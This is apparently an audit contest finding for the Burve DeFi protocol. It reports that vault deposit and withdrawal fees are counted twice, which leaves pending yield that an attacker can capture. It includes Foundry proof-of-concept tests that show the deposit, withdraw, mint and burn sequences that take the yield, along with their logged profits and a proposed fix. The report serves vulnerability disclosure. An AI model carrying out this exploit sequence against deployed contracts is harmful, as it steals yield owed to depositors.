Sneaky Burlap Pigeon

High

# Attacker Can Steal The Pending Yield


### Summary
In the current implementation, yields from the vault are falsely withdrawn and deposited. When deposits occur, both the deposit fee and withdrawal fee are considered again. As a result, the pending yield cannot be fully accounted for, allowing an attacker to steal the remaining yield.

### Root Cause
In the VaultProxy::deposit function, both the deposit fee and withdrawal fee are taken into account. At line 40, the fees are reconsidered. As a result, the shares of Reserve in the vault are less than they should be, leading to remaining pending yields.

https://github.com/sherlock-audit/2025-04-burve/tree/main/Burve/src/multi/vertex/Reserve.sol#L40
```solidity
    function deposit(
        VaultProxy memory vProxy,
        VertexId vid,
        uint256 amount
    ) internal returns (uint256 shares) {
        Reserve storage reserve = Store.reserve();
        uint8 idx = vid.idx();
        uint128 balance = vProxy.balance(RESERVEID, true);
40:     vProxy.deposit(RESERVEID, amount);
        // If someone tries to share inflate attack this, they'd have to donate to the underlying vault,
        // which then splits the donation across existing deposits from other people using the vault,
        // including the other closures. So there's no way to inflate shares here.
        shares = (balance == 0)
            ? amount * SHARE_RESOLUTION
            : (amount * reserve.shares[idx]) / balance; // No need for mulDiv.
        reserve.shares[idx] += shares;
    }
```

### Internal pre-conditions
There is deposit or withdraw fee in the vault.

### External pre-conditions
N/A

### Attack Path
N/A

### PoC
The following code demonstrates scenarios where the vault's withdrawal fee is 0.1%. 
- In `test_collectEarnings1`, even if a user collects fees, there are still pending yields.
- In `test_collectEarnings2`, an attacker steals some of the pending yields by depositing and withdrawing values. Due to the closure's loss during deposits, the attacker's profit is reduced.
- In `test_collectEarnings3`, an unstacker steals some of the pending yields without reducing.

https://github.com/sherlock-audit/2025-04-burve/tree/main/Burve/test/mocks/MockERC4626.sol
```solidity
contract MockERC4626 is ERC4626 {
    constructor(
        ERC20 asset,
        string memory name,
        string memory symbol
    ) ERC20(name, symbol) ERC4626(asset) {}
   
    function previewWithdraw(uint256 assets) public view override returns (uint256) {
        assets = assets * 1001 / 1000;
        return _convertToShares(assets, Math.Rounding.Ceil);
    }

    function previewRedeem(uint256 shares) public view override returns (uint256) {
        return _convertToAssets(shares, Math.Rounding.Floor) * 1000 / 1001;
    }
}
```
https://github.com/sherlock-audit/2025-04-burve/tree/main/Burve/test/facets/ValueFacet.t.sol
```solidity
    function test_collectEarnings1() public {
        valueFacet.addValue(alice, 0x7, 3e23, 0);
        
        uint256[4] memory initBalances = getBalances(alice);

        MockERC20(tokens[1]).mint(address(vaults[1]), 9e22);

        vm.startPrank(alice);
        valueFacet.collectEarnings(alice, 0x7);
        
        uint256[4] memory currentBalances1 = getBalances(alice);
        int256[4] memory diffs = diffBalances(currentBalances1, initBalances);
        console.log("alice_diffs[1] : %e", diffs[1]);

        vm.startPrank(alice);
        valueFacet.collectEarnings(alice, 0x7);
        uint256[4] memory currentBalances2 = getBalances(alice);
        diffs = diffBalances(currentBalances2, currentBalances1);
        console.log("alice_diffs[1] : %e", diffs[1]);
    }
    
    function test_collectEarnings2() public {
        vm.prank(alice);
        valueFacet.addValue(alice, 0x7, 3e23, 0);

        MockERC20(tokens[1]).mint(address(vaults[1]), 9e22);

        uint256[4] memory initBalances = getBalances(bob);
        vm.prank(bob);
        valueFacet.addValue(bob, 0x7, 6e22, 0);
        vm.startPrank(bob);
        valueFacet.collectEarnings(bob, 0x7);
        vm.startPrank(bob);
        valueFacet.removeValue(bob, 0x7, 6e22, 0);
        
        uint256[4] memory currentBalances = getBalances(bob);
        int256[4] memory diffs = diffBalances(currentBalances, initBalances);
        console.log("attacker_diffs[1] : %e", diffs[1]);
    }
    function test_collectEarnings3() public {
        vm.prank(alice);
        valueFacet.addValue(alice, 0x7, 3e23, 0);
        
        vm.prank(bob);
        valueFacet.addValue(bob, 0x7, 30e23, 0);
        vm.prank(bob);
        valueTokenFacet.mint(30e23, 0, 0x7);

        MockERC20(tokens[1]).mint(address(vaults[1]), 9e22);

        vm.prank(bob);
        valueTokenFacet.burn(30e23, 0, 0x7);
        vm.prank(bob);
        valueTokenFacet.mint(30e23, 0, 0x7);
        vm.prank(bob);
        (uint256[MAX_TOKENS] memory collectedBalances, ) = valueFacet.collectEarnings(bob, 0x7);
        console.log("attacker_diffs[1] : %e", collectedBalances[1]);
        return;
    }
```
forge test --match-test "test_collectEarnings" -vv
Result:
```bash
Ran 3 tests for test/facets/ValueFacet.t.sol:ValueFacetTest
[PASS] test_collectEarnings1() (gas: 1152265)
Logs:
  alice_diffs[1] : 8.9315541827282088187155e22
  alice_diffs[1] : 1.35286827029633161208e20

[PASS] test_collectEarnings2() (gas: 1582040)
Logs:
  attacker_diffs[1] : 4.503841678705118988e18

[PASS] test_collectEarnings3() (gas: 1716915)
Logs:
  attacker_diffs[1] : 7.457786995242183564e19
```

### Impact
An attacker can steal some pending yield from `VaultE4626`. 
This amount can reach up to `pendingYield * (withdrawFeeRate + depositFeeRate)`.

### Mitigation
In the `deposit` function, add a flag to indicate whether it is a real deposit or not.

For example:
https://github.com/sherlock-audit/2025-04-burve/tree/main/Burve/src/multi/vertex/E4626.sol#L104
```solidity
105:function deposit(
        VaultE4626 storage self,
        VaultTemp memory temp,
        ClosureId cid,
        uint256 amount,
        bool realDepositFlag
    ) internal {
        uint256 newlyAdding = FullMath.mulX128(
            temp.vars[1],
            temp.vars[3],
            true // Round up to round shares down.
        );
        uint256 totalAssets = temp.vars[0] + newlyAdding - temp.vars[2];

        uint256 discountedAmount = FullMath.mulX128(
            amount,
            temp.vars[3],
            false // Round down to round shares down.
        );
+       if (!realDepositFlag) {
+           discountedAmount = amount;
+       } 
        uint256 newShares = totalAssets == 0
            ? discountedAmount
            : FullMath.mulDiv(self.totalShares, discountedAmount, totalAssets);
        self.shares[cid] += newShares;
        self.totalShares += newShares;
        temp.vars[1] += amount;
    }
```
